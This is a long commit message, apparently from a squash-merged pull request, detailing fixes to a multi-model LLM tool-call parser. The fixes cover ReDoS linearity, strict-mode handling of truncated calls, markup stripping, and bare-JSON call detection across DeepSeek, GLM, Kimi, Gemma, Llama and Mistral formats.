``_PARSER_MARKERS`` and the regression-test docstrings. Tests: pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py studio/backend/tests/test_pr5624_regressions.py -q -> 174 passed in 2.00s * Fix O(N^2) DeepSeek V3.1 backtracking for PR #5624 Adversarial input ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>`` followed by a long body that does NOT contain a closing brace caused the V3 path's ``([^\n<]+?)<｜tool▁sep｜>`` regex to backtrack quadratically: at each position the lazy quantifier extends one char at a time looking for a sep that isn't there, taking ~19s on 50k chars. Replace the regex search with ``str.find`` on the sep marker plus a left-walk to recover the name. ``str.find`` is O(N); the walk stops on ``\n`` (turn boundary), ``<`` (start of a tag), or ``>`` (end of an optional ``<｜tool▁call▁begin｜>`` prefix). Same observable behaviour as the regex on every canonical input. Tests: test_deepseek_v3_1_huge_truncated_body_is_linear (new) -- 50k chars must parse in &lt; 1s. pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py studio/backend/tests/test_pr5624_regressions.py -q -> 175 passed in 1.97s pytest studio/backend/tests/ -q -k 'not gpu and not llama_cpp_integration' -> 2038 passed, 15 pre-existing failures unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: terminate function-XML body at </function>, not just </tool_call> `_parse_function_xml` was looking for `</tool_call>` (the Hermes wrapper) as the body terminator. When a model emits a standalone `<function=NAME><parameter=K>v</parameter></function>` followed by explanatory prose (which models routinely do), no `</tool_call>` is present, so the body extended to end-of-string and the trailing prose leaked into the LAST parameter value. Pre-existing on main (the legacy `<function=NAME>` form had this bug too). Same affects PR #5620's new attribute-form `<function name="NAME"><param name="K">v</param></function>` emission used by MiniCPM-5 / MiniMax-M2. Fix: `_TC_END_TAG_RE` now matches either `</tool_call>` OR `</function>`. The existing `_TC_FUNC_CLOSE_RE` / `_TC_PARAM_CLOSE_RE` strips are unchanged. Multi-call inputs still bound each function at the next `<function=` start, so no over-eager consumption. New tests: * `test_function_xml_followed_by_prose` (legacy form + prose) * `test_function_attribute_xml_followed_by_prose` (attribute form + prose) Existing `test_code_with_embedded_xml` still passes (a parameter value containing literal `<a></a>` is preserved because the embedded close tag is `</a>`, not `</function>`). `pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py -q` goes from 125 to 127 passed. * Studio: tighten Llama-3.2 bare-JSON guard A fuzz pass on PR #5811 turned up that ``_parse_llama3_bare_json`` accepted ``parameters`` as a string, contradicting the docstring's "parameters or arguments is a dict" guard. Prose JSON like ``{"name":"foo","parameters":"a sentence"}`` would wrongly fire the parser, which the agentic loop would then heal into a real ``foo(query="a sentence")`` call. Same code lives on this branch, so the same fix applies here. Tightened guard: - ``parameters`` must be a dict (Llama-3 spec). - ``arguments`` may be a dict, or a JSON-encoded string that decodes to a dict (OpenAI shape, e.g. ``"arguments":"{\"q\":\"x\"}"``). Plain non-JSON strings or JSON-strings of lists / scalars / null no longer pass. Mirrors the fix landed in PR #5811 commit 615b8608. Adds the same 4 regression tests under TestParserMultiFormat. Existing test suite stays green: 127 -> 131 passing. * Studio: skip non-scalar args in python_tag JSON form The JSON sub-path of ``_parse_llama3_python_tag`` was fabricating ``{"value": args}`` when the model emitted a non-dict / non-string ``arguments`` value (e.g. ``42``, ``[1,2,3]``, ``null``, ``true``). This silently turned a malformed emission into a real tool call, which the agentic loop would then execute with arguments the model never intended. Tightened: skip the call instead of fabricating. The same behaviour now matches the bare-JSON guard tightened earlier (strict-guard merge from PR #5620, inherited via merge here). Added a regression test covering the four non-scalar shapes. Pass count on this branch: 158 -> 159. Sites in ``_parse_tool_call_json`` and ``_consume_mistral_call`` keep the existing looser behaviour for now; both are reached only after explicit ``<tool_call>`` / ``[TOOL_CALLS]`` markers so the false-positive surface there is much narrower. * studio: fix safetensors tool-call parser gaps vs llama.cpp (Mistral CALL_ID / THINK, attribute-form signal) Three GGUF-parity fixes to the safetensors tool-call parser, each matching llama.cpp's reference behaviour: - Mistral Small 3.2 emits [TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}. The parser stopped after the name on seeing [CALL_ID] (neither [ARGS] nor {), dropping the call. Skip an optional [CALL_ID]<id> segment in both the parse and strip paths. llama.cpp parses this (test-chat.cpp:4785). - Magistral wraps reasoning in [THINK]...[/THINK]. A [TOOL_CALLS] inside the reasoning was parsed as a real call, producing a phantom call. Strip a leading [THINK] block before scanning so only the post-reasoning call counts (test-chat.cpp:2285); a literal [THINK] inside a later argument is left intact. - The standalone MiniCPM-5 / MiniMax-M2 <function name="..."> attribute form parsed correctly but was absent from TOOL_XML_SIGNALS and the markup strip patterns, so the streaming safety-net parse was gated off (dropping the call) and markup leaked into displayed text. Add the signal and broaden the strip regexes. Adds regression tests for all three. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: fix GLM and Kimi K2 safetensors tool-call parser gaps vs llama.cpp Four GGUF-parity fixes for the GLM and Kimi K2 families: - GLM 4.7 zero-argument inline call <tool_call>name</tool_call> was dropped: the open-tag lookahead only allowed \n or <arg_key> after the name. Allow </tool_call> too so a no-arg call parses to empty args (vLLM / SGLang / llama.cpp all parse it). - GLM string argument values were stripped, losing significant leading / trailing whitespace in code / diff arguments. Keep the raw value for the string fallback and only strip the copy used to probe for a JSON literal, matching vLLM glm4_moe which never strips string args. - Kimi K2 calls emitted without the <|tool_calls_section_begin|> wrapper were dropped. llama.cpp makes the section optional (Kimi can call a tool straight after reasoning without opening a section); parse a bare <|tool_call_begin|> when no section is present. - Kimi K2 malformed / truncated JSON in one call dropped every later call in the section. Skip the bad call and keep parsing so valid subsequent calls are recovered (vLLM parity). Adds regression tests for all four. * studio: fire safetensors tool calls for the bare-JSON (Llama-3.2) form The agentic loop's streaming safety-net parse was gated on has_tool_signal(), which is False for the Llama-3.1 / 3.2 bare-JSON tool form {"name":..,"parameters":..} (no XML marker). Real tool calls were therefore dropped: the loop logged "model planned without calling tools", re-prompted three times, then gave up with zero tool calls, while GGUF's llama-server parses the same emission natively. Run parse_tool_calls_from_text() unconditionally in the safety net. The parser is strict (only fires on a valid tool-call shape) so plain answers are unaffected. Reproduced on a real unsloth/Llama-3.1-8B-Instruct run: the model emits {"name":"web_search","parameters":{...}} which now executes the tool instead of being re-prompted into a no-op. Adds a loop regression test for the bare-JSON form. * studio: fire safetensors tool calls for Gemma 4 (native template + stripped parser) Gemma-4 safetensors fired no tools while its GGUF fired reliably. Three gaps: - The Studio swaps in the Unsloth "gemma-4" chat template, which does not render the tools schema (the model's native template does), so the model never saw the tools. Fall back to the model's native template when the override template renders identically with and without tools. Same fix helps any family whose override template drops tools. - skip_special_tokens strips the <|tool_call> wrapper and <|"|> string markers, so a streamed Gemma-4 call arrives as a bare call:NAME{k:v, ...} with unquoted values. Parse that form, keeping commas/braces inside a code or command value, normalising surrounding quotes, and stripping the leaked markup from the final answer. - Without a grammar a small model can loop, repeating one call for the whole tool budget. Collapse exact-duplicate calls within a turn and force a final answer after a turn that made no new tool progress (llama-server's lazy grammar prevents this loop on the GGUF side). Adds parser tests for the bare/stripped Gemma-4 form. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: complete strict-mode contract and fix parser import paths Address review findings on the multi-format tool-call parser: - Honor allow_incomplete=False in the remaining sub-parsers. The Llama-3 <|python_tag|>NAME.call(...) parser, the pre-v11 Mistral [TOOL_CALLS] array parser, and the Gemma 4 <|tool_call> parser ignored strict mode, so a truncated call (missing closing paren, ], or <tool_call|>) was still healed and executed with Auto-Heal disabled. Thread strictness through and reject the unclosed forms, matching the JSON and function-XML paths. - Drop the duplicate tool_call_parser import block in llama_cpp.py and the redundant un-aliased TOOL_XML_SIGNALS; only the _SHARED_TOOL_XML_SIGNALS alias is used as a value. - Import _strip_mistral_closed_calls from core.inference.tool_call_parser in routes/inference.py instead of studio.backend.core... The self-contained run.py launch mode only puts studio/backend on sys.path, so the absolute package path raised ModuleNotFoundError on the server-tool strip path. Add strict-mode regression tests for the truncated Llama-3 dot-call and the unclosed Mistral array. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: harden DeepSeek/Kimi tool-call parsing and strip Address review findings on the DeepSeek and Kimi parsers: - Honor allow_incomplete=False for DeepSeek. An envelope with no closing <｜tool▁calls▁end｜> is truncated mid-stream; reject it in strict mode instead of healing the body out to EOF, matching the strict XML and Mistral paths. - Do not skip a following tool call when the current call's end marker is missing. The DeepSeek V3 and Kimi loops advanced by searching forward for the next <｜tool▁call▁end｜> / <|tool_call_end|>, which could land on a later call's end marker and drop the call in between. Advance by the JSON end; the loop re-locates the next call marker from there. - Strip truncated DeepSeek and Kimi section blocks in the route-level display regex. The patterns required the closing marker; add the end-of-text alternative so a block truncated by EOS does not leak raw markup to the UI. Add regression tests for the truncated DeepSeek envelope, and for DeepSeek and Kimi multi-call recovery when the first call's end marker is missing. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: preserve XML param indentation and alias Mistral array parameters Two parser-correctness fixes found by auditing against the model chat templates and the SGLang / vLLM reference parsers: - Qwen3.5 XML parameter values lost their leading indentation. The chat template emits <parameter=k>\nVALUE\n</parameter>, but the parameter-start regex ate the wrapping newline AND the value's first-line indentation with a trailing \s*, then str.strip() removed the rest. Narrow the trailing class to horizontal whitespace only and trim exactly one wrapping newline (via _trim_param_value), preserving indentation in code/diff arguments. Matches SGLang's qwen3_coder detector. Applies to both _parse_function_xml (tool_call_parser.py) and the XML path in tool_healing.py. - Mistral pre-v11 array objects keyed on parameters dropped their payload. _consume_mistral_call read only the arguments key; alias parameters the same way the JSON/XML paths and SGLang's base detector do. Add regression tests for preserved multi-line indentation and the array parameters alias. * Studio: DeepSeek strip sync, Gemma nested args, GLM/Kimi strict mode Parser-correctness fixes found by auditing DeepSeek/GLM/Kimi against vLLM, SGLang, and the model chat templates: - DeepSeek: the short <｜tool▁calls｜> opener (and the space / escaped-underscore spellings) was parsed but never stripped, so a short-opener envelope leaked raw markup to the UI. Share one opener alternation between _DEEPSEEK_BEGIN_RE and the strip patterns (and the route-level display regex) so a signal we parse can never be left un-stripped. - Gemma wrapper-less stream: a nested object/array argument (loc:{city:NYC}, labels:[bug,ui]) was kept as a literal string. Parse it recursively when the bare value is a balanced {} / [], falling back to the raw string for a truncated value. - GLM and Kimi ignored allow_incomplete. With Auto-Heal off, a GLM block with no </tool_call>, a Kimi section with no <|tool_calls_section_end|>, or a Kimi call with no <|tool_call_end|> are truncated and must be rejected, matching the strict behavior of the JSON/XML/Mistral/DeepSeek paths and vLLM/SGLang. Add regression tests for the short-opener strip, the Gemma nested args, and GLM / Kimi strict-mode rejection. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: tighten tool-call parser comments Make the comments in the multi-format tool-call parser and its callers succinct: compress verbose docstrings/blocks to one or two lines, drop ones that restate the code, and trim the tiny balanced-scanner helpers. Correctness rationale and upstream provenance (SGLang/llama.cpp parity, the strict-mode / Auto-Heal contract, whitespace-preservation, and the Unicode / full-width-pipe notes) are kept in compact form. Comment-only: no code or behavior change (verified with comment_tools.py check --strip-docstrings; parser suite green). * Studio: tighten DeepSeek/GLM/Kimi parser comments Compress the comments added for the DeepSeek/GLM/Kimi parsers and the Gemma wrapper-less helpers to one or two lines, keeping the upstream provenance (llama.cpp 51fa458a92d6), the O(N^2) / strict-mode rationale, and the vLLM parity notes intact. Comment-only: no code or behavior change (verified with comment_tools.py check --strip-docstrings; parser suite green). * Studio: make DeepSeek R1 / GLM parsing linear and close routes strip gaps Review follow-up for the DeepSeek/GLM/Kimi parser: - DeepSeek R1 detection used a greedy ``([^\n]+)\n```json`` regex that backtracks O(N^2) on a fence-less truncated body; scan with str.find instead (mirrors the V3 path). - GLM arg pairs used a lazy-group finditer that rescanned to EOF from each bare <arg_key> in an unclosed body (O(N^2)); walk pairs with str.find. - The route display strip (_TOOL_XML_RE) accepted fewer DeepSeek openers than the parser (missed the space / escaped-underscore spellings) and missed bare section-less Kimi calls, so a call we parse could leak raw markup to the UI. Reuse the parser's shared _DEEPSEEK_OPEN_RE_SRC and add a bare-Kimi arm. Add ReDoS-linearity regressions for the R1 and GLM paths, a positive R1 fenced-json parse test, and routes-strip tests for the space/escaped DeepSeek openers and the bare Kimi call. * Studio: fix test_mcp_servers _TOOL_XML_RE reconstruction after _DS_OPEN_SRC reuse The routes strip fix made _TOOL_XML_RE reference the module-level _DS_OPEN_SRC variable. test_mcp_servers reconstructs the regex by exec-ing the extracted compile() source in a namespace that only defined _re, so it raised NameError. Inject _DS_OPEN_SRC into that namespace, matching the same fix already applied in test_tool_xml_strip. * Studio: make Llama-3 .call and Mistral-array healing parsing linear Two more O(n^2) ReDoS paths in the multi-format parser, both reachable from the agentic loop on a long truncated body with no length cap: - _LLAMA3_KV_RE.finditer over a .call(...) body retried at every offset of a long word run / unterminated quote (40K -> 14s). Replace with a hand-scan that reuses the same key/number/literal sub-regexes via anchored match and walks the string body by hand, so an unterminated quote is O(n). Verified byte-identical to the old regex over 200K fuzzed inputs. - _parse_mistral_array healing ran _balanced_brace_end from every { in the body (20K -> 17s). Walk top-level objects, advancing past each balanced {...}; this also drops the phantom call the old scan emitted from a nested argument object. Add adversarial-length linearity regressions plus positive .call kwargs and unclosed-array recovery coverage. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: strengthen #5624 regression assertions and strip-test harness guards - test_strip_tool_markup_handles_deepseek_envelope used `A or B` where B was the preservation property the next line already asserts, masking the real check. Replace with an explicit assertion that the call name and args are stripped. - The test_tool_xml_strip source-extraction harness reconstructs _TOOL_XML_RE and _strip_tool_xml_for_display from routes/inference.py via lazy regexes that could silently grab a shorter slice. Assert the extracted regex carries the DeepSeek / bare-Kimi arms and the helper body reached the _TOOL_XML_RE.sub call. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: honor strict mode in safety-net, keep empty Gemma args, strip attribute-form function XML - safetensors safety-net parser now forwards allow_incomplete=auto_heal_tool_calls, matching the draining path, so a late incomplete tool call is not healed and executed when Auto-Heal is off. - Gemma empty bare value ({k:}) now serialises as "" instead of invalid {"k":}, which previously dropped the whole call. - Route _TOOL_XML_RE also strips the <function name="..."> attribute form (MiniCPM-5 / MiniMax-M2) so it no longer leaks to the UI. * Studio: linearize wrapper-less Gemma nested-arg parsing and correct parser provenance - _gemma_parse_value/_gemma_parse_mapping/_gemma_parse_array now parse nested {}/[] in a single forward pass instead of pre-scanning each subtree with a balanced-brace walk and re-parsing it. Deeply nested wrapper-less Gemma args were O(n^2); they are now ~linear (and ~40x faster at depth 400). - Correct the DeepSeek/GLM/Kimi provenance comments: the cited commit 51fa458a92d6 is unrelated, and GLM/Kimi were never standalone common_chat_parse_* functions (llama.cpp uses common_chat_params_init_glm_4_5 plus a generalized XML parser, PRs #15904 / #16932). - Add tests: Gemma deep-nesting linearity, nested object/array preservation, same-turn distinct-call cap, and the native-template tool-render fallback. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: guard Gemma value parser against non-advancement and missing tokenizer Addresses Gemini review: - _gemma_parse_value now consumes one character when a stray }/]/, sits where a value is expected, so _gemma_parse_array can never stall at the same index on malformed input (a latent infinite loop). - _render_with_native_template returns None when neither a tokenizer nor a processor is present instead of raising AttributeError. - Tests for both. * Studio: fix attribute-form function-XML literal close tag and zero-arg strict call Addresses Codex review of the <function name="..."> attribute form in _parse_function_xml (MiniCPM-5 / MiniMax-M2): - End the call body at the LAST </function> / </tool_call> within the call's window, so a literal close tag inside a code/search argument (e.g. print("</function>")) is preserved instead of truncating the call. - Accept a closed call with no parameters as a valid zero-argument call in strict mode (the function close is already required), instead of rejecting it as a truncated call. - Tests for both, mirroring the legacy <function=...> coverage. * Studio: drop scratch review/planning artifacts from the branch * Studio: fix tool-call parser/loop review findings on the multi-format path Address the live code-review findings on the safetensors/MLX + GGUF tool path: - routes: include the attribute form <function name="..."> in the safetensors capability whitelist so MiniCPM-5 / MiniMax-M2 templates keep the tool pill (parser already handles the form; the post-filter wrongly suppressed it). - safetensors loop: build the plan-without-action re-prompt from the active tools instead of a hardcoded web_search/python string, and gate it on auto_heal_tool_calls, matching the GGUF loop. - safetensors loop: hold a leading bare-JSON object ({"name":..,"parameters":..}) during BUFFERING until it closes, then drain it as a tool call instead of streaming the raw JSON to clients. The DRAINING/STREAMING resolvers still recover a plain JSON answer, so this can never drop content. - parser: anchor the Llama-3 <|python_tag|>NAME.call(...) scan to the tag and chain ; -separated calls, so all semicolon-separated built-ins parse and a literal <|python_tag|>x.call(...) inside a JSON string argument no longer fires the wrong tool. - parser: consume the optional trailing </s> after a named Mistral [TOOL_CALLS]name{json} call, mirroring the array shape. - GGUF streaming strip: use the shared parser patterns (which know [TOOL_CALLS] and <|python_tag|>) so a textual tool call entering DRAINING is stripped instead of leaking the marker to streaming clients. - routes: hoist the _strip_mistral_closed_calls import to module level. Adds regression tests covering each fix; existing parser suite stays green. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: fix DeepSeek/GLM/Gemma tool-call review findings Address the live code-review findings specific to the DeepSeek / GLM / Kimi and native-template additions: - parser: in strict mode (Auto-Heal off) require the per-call <｜tool▁call｜end｜> terminator for DeepSeek V3 calls instead of executing on a bare balanced object closed only by the envelope end. - parser: keep GLM string arguments that begin with a quote verbatim (drop the leading-quote case from the JSON-decode probe) so a quoted search query is not decoded down to its inner text. - parser: reject a GLM call with an unclosed <arg_value> in strict mode, and under Auto-Heal keep the partial value rather than dropping it to a no-arg call. - parser: add a balanced wrapper-less Gemma strip (call:NAME{...}) so a nested object/array argument is removed whole instead of leaving a trailing brace; run the balanced Mistral and Gemma strips on the streaming display paths too. - safetensors loop: buffer a leading wrapper-less Gemma call:NAME{...} so it drains and executes instead of streaming the raw call text. - inference: render the native-template fallback on a shallow tokenizer copy instead of mutating the shared tokenizer outside the generation lock, and load the native template from base_model for LoRA adapters. Adds regression tests for each; existing parser suite stays green. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: harden multi-format tool-call detection from review findings Apply five targeted fixes from the review pass over the multi-format tool path: - routes: route display strip delegates to _strip_tool_xml so Mistral [TOOL_CALLS] blocks with nested JSON are removed from streamed display text, not just the XML forms. - tool_call_parser: skip function/parameter starts that fall inside an already-open parameter block (_inside_open_parameter) so nested example payloads are not mis-parsed as new calls; extract strip_llama3_leading_sentinels so the bare-JSON guard is shared. - safetensors_agentic: probe bare JSON through strip_llama3_leading_sentinels before the balanced-brace check so a leaked header sentinel does not defeat the guard. - tool_healing: allow dotted tool names in the Gemma wrapped start pattern. - llama_cpp (GGUF): buffer wrapper-less Llama-3.2 {"name":..} calls that carry no XML signal, drain a complete object silently and hold an incomplete one, and run the end-of-stream safety net unconditionally so markerless calls are detected and never leak the raw JSON (including truncated fragments). Adds regression tests for the GGUF bare-JSON streaming path and the Mistral display strip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: stop bare-JSON tool calls leaking at EOF, oversized, and into history The second review pass flagged that the Llama-3.2 bare-JSON tool-call handling still leaked raw JSON in several spots; ``strip_tool_markup`` only knows XML/bracket markup, so the bare-JSON form survived it. Fix them symmetrically across the safetensors and GGUF loops: - Safetensors stream-end resolver now routes a held bare-JSON fragment to DRAINING (mirroring GGUF) so a truncated ``{"name":..`` cut off by the end of the stream is dropped instead of flushed as assistant content. The 7/10 reviewer finding. - Both loops now drain (suppress) an oversized still-open bare-JSON call once it passes ``_MAX_BARE_JSON_BUFFER`` instead of streaming the raw prefix, gated on a ``"name"`` key so a giant plain JSON answer still streams; a complete oversized call still executes via the safety net. - Add a shared ``strip_leading_bare_json_call`` helper and apply it to the content kept for the assistant turn in both loops, so an executed bare-JSON call is not replayed as visible text or fed back as next-turn history. Plain JSON answers without a ``"name"`` key are untouched throughout. Adds regression tests for the EOF, oversized, and next-turn cases on both backends plus unit tests for the helper. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: bound the Llama-3 python_tag strip on real control sentinels The route display strip's <|python_tag|> arm ran to the next <| of any kind. A tool-call argument carrying a literal <|...|> token (for example <|cite|> inside a string value) truncated the strip early and leaked the call tail into the visible response. Narrow the stop condition to the genuine Llama control sentinels (eot_id, eom_id, python_tag, start/end_header_id, begin_of_text, finetune_right_pad_id) so embedded markup and JSON are consumed while real header/turn boundaries still bound the strip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: harden GLM/Gemma parsing, cap GGUF textual calls, share native-template fallback GLM 4.x parser walked a body pre-bounded by the first </tool_call>, so a string argument containing a literal </tool_call> (e.g. code that prints it) was truncated. Walk arg_key/arg_value pairs against the full content instead, since each <arg_value> is delimited by its own </arg_value> and the call's real close is the </tool_call> that precedes the next <arg_key>. Add a truncated wrapper-less Gemma pattern (call:NAME{... with no closing brace) to the markup strip so a call cut off mid-arguments does not leak raw into the visible stream. It runs after the closed form, so a complete call keeps trailing prose. Cap and dedup tool calls parsed from the GGUF TEXTUAL fallback at _MAX_TOOL_CALLS_PER_TURN, mirroring the safetensors loop. Structured delta.tool_calls are grammar-bounded by llama-server, but text parsed straight from content is not, so one runaway turn could fan out into dozens of executions. Extract the native-chat-template fallback into chat_template_helpers (render_native_template / render_with_native_template_fallback) so the transformers and MLX text backends share one implementation. The MLX text path now applies it too, so an Unsloth override template that drops the tools schema no longer silently stops MLX from advertising tools. The MLX VLM path renders via the processor for image tokens and is intentionally left on its own render. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: gate markerless bare JSON on enabled tools and close parser/strip asymmetries The Llama-3.2 custom_tools bare-JSON form has no marker, so any JSON object with a name key was read as a tool call. An ordinary JSON answer like {"name":"Alice","parameters":{"age":30}} was misclassified as a call to a disabled tool and dropped from the visible response. Gate the markerless form on the enabled tool names (threaded through parse_tool_calls_from_text and strip_leading_bare_json_call, supplied by both streaming loops): an object whose name is not an enabled tool is ordinary content. The marker-based forms keep their name-agnostic behaviour (an explicit signal is a real call attempt), and unrestricted mode stays ungated. Also fix two parser/strip asymmetries the parser already tolerated: - A literal </function> inside a parameter value (print("</function>")) truncated both the core and route strips at the first close, leaking the tail. Extend the strip to the call's real close (last </function> before the next opener), mirroring the parser, without merging separate calls. - The single-object Mistral [TOOL_CALLS]{...} shape parsed but _strip_mistral_closed_calls left it, leaking the raw object into display. Strip the balanced object while keeping trailing prose, matching the array and name shapes. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: fix strip/parse symmetry and native-template token for DeepSeek/GLM/Kimi Pass-3 review follow-ups on the multi-format tool parser: - Bare Kimi call (<|tool_call_begin|>...<|tool_call_end|> with no section wrapper) is accepted by the parser, so add it to the closed strip patterns so the streaming (non-final) display strip removes it instead of leaking the markup mid-generation. - Route display strip now also runs the wrapper-less Gemma cleanup, so a Gemma 4 call:NAME{..} no longer leaks into the visible answer. - MLX model record carries base_model for a LoRA adapter so the native-template fallback loads the base repo template rather than the adapter's (often template-less) tokenizer. - Native-template reload forwards the load-time HF token so a gated/private model's repo template can still be fetched (transformers and MLX text paths). - GGUF end-of-stream bare-call heuristic is gated on the enabled tool names so a truncated ordinary JSON object ({"name":"Alice","age":) streams as the answer instead of being dropped as a tool call. Adds regression tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: gate GGUF bare-JSON suppression on enabled tools and fix python-tag exponent parsing Pass-4 review follow-ups on the GGUF tool loop and Llama-3 parser: - The GGUF bare-JSON suppression sites still keyed off a raw "name" substring, so an ordinary JSON answer whose name is not an enabled tool was dropped when it was truncated, oversized, or reached the no-tool DRAINING fallback (the parser, helper, and safetensors paths were already gated). All three sites now use the shared enabled-name gate, and a held bare-JSON buffer that turns out not to be an enabled call is shown as the answer instead of dropped at stream end. - The Llama-3 python-tag numeric kwarg regex matched only the mantissa, so scientific notation was truncated to its leading digits (1e-3 parsed as 1) and a tool executed with the wrong value. The regex now accepts exponent and decimal forms, and the int/float classification keys off the exponent too. Adds regression tests for the truncated / oversized disabled-name JSON cases (and a counterpart that a truncated enabled call still does not leak) plus the scientific-notation kwargs. * Studio: drop accidentally committed async worker transcripts Eight generated reviewer / async-worker transcripts were committed under studio/backend/async_task_outputs/. They are not imported or referenced by any code and carry only internal task state, so they should never ship in the repo. Remove them and gitignore the directory so they cannot be re-added. * Studio tools: gate safetensors bare-JSON drain, fix nested-name gate and function-XML strip Pass-4 review follow-ups on the shared parser / safetensors loop: - The safetensors oversized and end-of-stream bare-JSON drain branches keyed off a raw "name" substring, so a large or truncated ordinary JSON answer whose name is not an enabled tool was drained instead of streamed. Both now use the shared enabled-tool-name gate, matching the GGUF path. - strip_leading_bare_json_call matched the first "name" anywhere, so a plain JSON answer with a nested name equal to an enabled tool ({"result":{"name":"web_search"}}) was wrongly suppressed. It now extracts the TOP-LEVEL name only, walking past nested objects/arrays and keeping the text when a top-level value is truncated. - The function-XML display strip used a regex negative-lookahead that stopped at a literal <function=...> opener inside a parameter value and then dropped the rest of the answer to EOF. A scan-based strip mirrors the parser (ignores openers inside an open <parameter> via _inside_open_parameter) and closes each call at its real </function>, so trailing assistant text after such a call survives. Adds regression tests for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep tools prompt when native-template probe raises; make helper tests hermetic Pass-4 review follow-ups on the native-template fallback: - render_with_native_template_fallback re-renders the live template with tools=None to detect whether it dropped the schema. A template that requires tools can raise on that probe; that must not discard the already-valid tools prompt. The probe is now wrapped so any error returns the original formatted_prompt (transformers would otherwise fall back to manual formatting and lose the schema; MLX would let the exception escape). - The native-template helper tests imported InferenceBackend just to reach the thin wrapper, which pulls in unsloth and its optional vllm package metadata. They now call the dependency-light render_native_template helper directly so they pass in a backend/test environment without vllm. Adds a probe-raises regression test. * Tool parsing: 3.9 import safety, disabled-Auto-Heal contract, capability gate Round-2 review follow-ups on the multi-format tool-call parser: - tool_call_parser: add `from __future__ import annotations`. The module is dependency-light by design (external llama-server wrappers import it standalone) and the package targets python >=3.9, where its PEP 604 `int | None` return annotations would raise TypeError on import. - safetensors + GGUF drain fallback: gate the leading bare-JSON strip on auto_heal_tool_calls. With Auto-Heal off, a truncated enabled-name fragment that did not parse now stays visible, matching the XML strip in the same branch and the disabled-Auto-Heal contract. With Auto-Heal on it is still suppressed. - safetensors capability gate: match the bare-JSON `{"name":` template marker with a whitespace/escape-tolerant regex so a pretty-printed `{ "name" :` or JSON-escaped `{\"name\":` template is not mis-classified as tool-less. The parser already accepts that whitespace via raw_decode, so the gate must too. Regression tests added for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * GLM tool-call display strip: treat literal close tag in arg value as data Round-2 review follow-up on the GLM 4.x tool-call format. The GLM call shape is <tool_call>NAME<arg_key>k</arg_key><arg_value>v </arg_value>...</tool_call>. The parser was hardened to walk arg_key / arg_value pairs so a literal </tool_call> inside an argument value (e.g. print("</tool_call>")) is treated as data and the call's real close is the </tool_call> that precedes the next <arg_key>. The display strips still used a non-greedy <tool_call>.*?</tool_call> regex, which stopped at the literal and leaked the call's tail into visible content and stale history. Add _strip_glm_calls, a scan that mirrors the parser's close detection, and run it before the regex arms in every strip pipeline: the core strip_tool_markup, the route _strip_tool_xml display/history cleanup, and the safetensors + GGUF streaming strips. Qwen / Hermes <tool_call>{json} has no NAME token after the opener, so it is left to the regex arms unchanged. Regression tests cover the literal-close-tag leak (core + route), normal GLM calls, back-to-back GLM calls, zero-arg GLM, truncated GLM, and untouched Qwen. * Tool parsing: symmetric "function" bare-JSON alias and route strip parity Round-3 review follow-ups, all parser/strip symmetry fixes. - Bare-JSON "function" alias: the markerless parser accepts a call name via obj.get("name") or obj.get("function"), but the strip/gates only knew "name", so a {"function":<enabled tool>} call executed while its raw JSON leaked. Teach _top_level_bare_json_name the alias (with "name" precedence and the same nested and truncated-name guards), and widen the guards in strip_leading_bare_json_call, the safetensors and GGUF _looks_like_enabled_bare_json gates, and the route capability marker regex. - Route display/history cleanup: strip a tail-only </param> alias close (the parser accepts <param name="...">...</param>), and run the parser's guarded function-XML scan (_inside_open_parameter) before _TOOL_XML_RE so a literal nested <function=...></function> inside an argument value does not truncate the strip and leak the tail. Regression tests added for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: fix DeepSeek strict recovery, Kimi dotted names, Gemma spaced streaming Round 3 review fixes for the DeepSeek / GLM / Kimi tool-call parsing path. - DeepSeek R1 and V3/V3.1 strict parsing (Auto-Heal off): when a call is truncated (missing closing fence or <tool_call_end> terminator), skip it and keep scanning for later well-formed calls instead of breaking out and dropping the rest of the envelope. This matches the Kimi strict parser's recovery behaviour. - Kimi dotted tool names: keep the full name after stripping only the functions. prefix and :idx suffix, e.g. functions.mcp.server-list:0 stays mcp.server-list. The previous split on "." truncated dotted MCP names to their last segment. This matches current vLLM (tool_id.split(":")[0].removeprefix("functions.")) and SGLang (^(?:functions\.)?(?P<name>[\w.\-]+):(?P<index>\d+)$). - Gemma wrapper-less call streaming: hold the whitespace-tolerant 